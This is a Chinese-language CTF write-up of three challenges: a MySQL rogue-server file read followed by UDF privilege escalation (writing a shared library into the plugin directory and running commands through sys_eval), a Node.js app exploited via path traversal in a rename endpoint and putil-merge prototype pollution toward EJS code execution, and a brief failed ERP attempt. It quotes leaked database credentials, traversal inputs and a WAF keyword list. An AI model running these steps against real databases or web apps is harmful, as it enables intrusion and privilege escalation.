only_sql

考点:

mysql服务端读取客户端文件

mysql udf提权

刚好,都是会的,基本操作。

mysql服务端读取客户端文件

https://www.cnblogs.com/Rain99-/p/13334755.html

工具:

https://github.com/rmb122/rogue_mysql_server/releases/tag/v1.0.1

读query.php源码,得到靶机mysql服务的账号密码

// mine
// $db_host = '127.0.0.1';
// $db_username = 'root';
// $db_password = '1q2w3e4r5t!@#';
// $db_name = 'mysql';

连接靶机的mysql,执行命令。

show databases;有一个secret数据库,查出这个数据库的flag字段:

flag

DASCTF{3386201718692

Try to become ROOT

接下来是udf提权。

show variables like '%priv%'

show variables like '%plugin%'

select 0x... into dumpfile "/usr/lib/mysql/p1ugin/udf.so"

create function sys_eval returns string soname 'udf.so';

select sys_eval("whoami");

mysql用户。然后以为要suid提权

find / -perm -u=s -type f 2>/dev/null

/usr/bin/passwd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/gpasswd
/usr/bin/chfn
/usr/sbin/exim4
/bin/mount
/bin/umount
/bin/su

flag在环境变量里

image-20240130215131065.png

Easyejs - unsolved

考点:

putil_merge,原型链污染 https://security.snyk.io/vuln/SNYK-JS-PUTILMERGE-2391487

ejs结合原型链污染rce

写这题时候我感觉做的比较好的一个点就是去猜测后端功能是怎么实现的。

上传文件接口/upload,上传文件返回文件uuid。

读取文件接口/file,根据uuid读文件

重命名文件接口/rename,提交数据:

{
"oldFileName":"",
"newFileName":"",
"uuid":""
}

查看所有文件/list,返回结果是uuid->filename的dict。

{
"fe3ce007-ba3d-4682-a875-3092eefa910c":"3",
"2c362f3f-285d-4354-8c52-b3d69cc0d489":"1.txt",
"f776a54d-dab7-4979-baaf-cab47cfd354c":"1.txt",
"c6e725cf-40cd-4c8f-b94e-2924d735ef5b":"1.txt"
}

发送以下数据给/rename

{
"oldFileName":"1.txt",
"newFileName":"../1.txt",
"uuid":"2c362f3f-285d-4354-8c52-b3d69cc0d489"
}

返回重命名失败。访问/file,uuid带上面这个,提示文件不存在。但是/list显示的结果有这一条:"2c362f3f-285d-4354-8c52-b3d69cc0d489" : "../1.txt"

多次测试/rename,得出:uuid和oldFileName要对应,且oldFileName要在原来的dict存在,重命名才能成功。

测一下这个:

{
"oldFileName":"1.txt",
"newFileName":"/etc/passwd",
"uuid":"2c362f3f-285d-4354-8c52-b3d69cc0d489"
}

然后去读,提示文件不存在。

到这里我停下来思考,/list的dict估计是一整个存在内存里的,要取文件时候uuid做key取出文件名。既然如此,重命名接口返回的重命名失败估计没有影响,只要dict里存在即可。存在同名文件,说明有别的手段防止文件名冲突。这里我猜的是文件uuid作为文件目录,原文件就放在这个目录下。读取文件时把uuid拼到前面即可。所以要读/etc/passwd得穿越一下../../../../../../../../../etc/passwd。我猜对了。

后面就是读cmdline获得源码位置,读源码,读package.json得到依赖版本。

{
"dependencies": {
"cookie-parser": "^1.4.6",
"ejs": "^3.1.5",
"express": "^4.18.2",
"express-fileupload": "^1.4.3",
"jsonwebtoken": "^9.0.2",
"lodash": "^4.17.4",
"multer": "^1.4.5-lts.1",
"putil-merge": "^3.6.0",
"rpc": "^3.3.3",
"sqlite3": "^5.1.7-rc.0",
"uuid": "^9.0.1"
}
}

接下来大致浏览一下源码,看见putil-merge里的merge和res.render,再结合题目的ejs,思路直接锁定ejs结合原型链污染rce。

但是我想着能不能走捷径,把ejs模板文件覆盖掉,直接rce。

有可能覆盖的地方有两处:

上传时候的文件名。这里看似没有检查,实际上使用的文件上传组件自动消除路径穿越了。

app.post('/upload', (req, res) => {
const file = req.files.file;
const uniqueFileName = uuidv4();
const destinationPath = path.join(__dirname, 'uploads', file.name);
// 将文件写入 uploads 目录
fs.writeFileSync(destinationPath, file.data);
global.fileDictionary[uniqueFileName] = file.name;
res.send(uniqueFileName);
});

以及rename,这里检查..

app.post('/rename', (req, res) => {
if (req.body.oldFileName && req.body.newFileName && req.body.uuid){
oldFileName = req.body.oldFileName
newFileName = req.body.newFileName
uuid = req.body.uuid
if (waf(oldFileName) && waf(newFileName) && waf(uuid)){
uniqueFileName = findKeyByValue(global.fileDictionary,oldFileName)
console.log(typeof uuid);
if (uniqueFileName == uuid){
putil_merge(global.fileDictionary,{[uuid]:newFileName},{deep:true})
if(newFileName.includes('..')){
res.send('文件重命名失败!!!');
}else{
fs.rename(__dirname+"/uploads/"+oldFileName, __dirname+"/uploads/"+newFileName, (err) => {
if (err) {
res.send('文件重命名失败!');
} else {
res.send('文件重命名成功!');
}
});
}
}else{
res.send('文件重命名失败!');
}

}else{
res.send('哒咩哒咩!');
}

}else{
res.send('文件重命名失败!');
}
});

所以我就一直硬在想如何覆盖ejs。后来lolita说newFileName可以传数组,我才恍然大悟。测试后发现不行,估计是views没有写权限。

直到比赛结束了我才想起来,最开始的那条路。我真是sb。而且他还有一个waf,也告诉我要用原型链。只能说不熟悉ejs rce导致的。

function waf(data) {
data = JSON.stringify(data)
if (data.includes('outputFunctionName') || data.includes('escape') || data.includes('delimiter') || data.includes('localsName')) {
return false;
}else{
return true;
}
}

后来搭建docker环境复现,顺便学了一下远程docker debug nodejs,把ejs落下的功课补上。原型链复现完成后复现覆盖ejs,如果有写权限的话,newFileName传数组则可以覆盖index.ejs。

ezerp - unsolved

题目环境V3.3,网上搜的洞貌似没3.3,去github仓库看到issue有V3.3的sql注入和文件上传,按照poc打都不生效,便放弃了。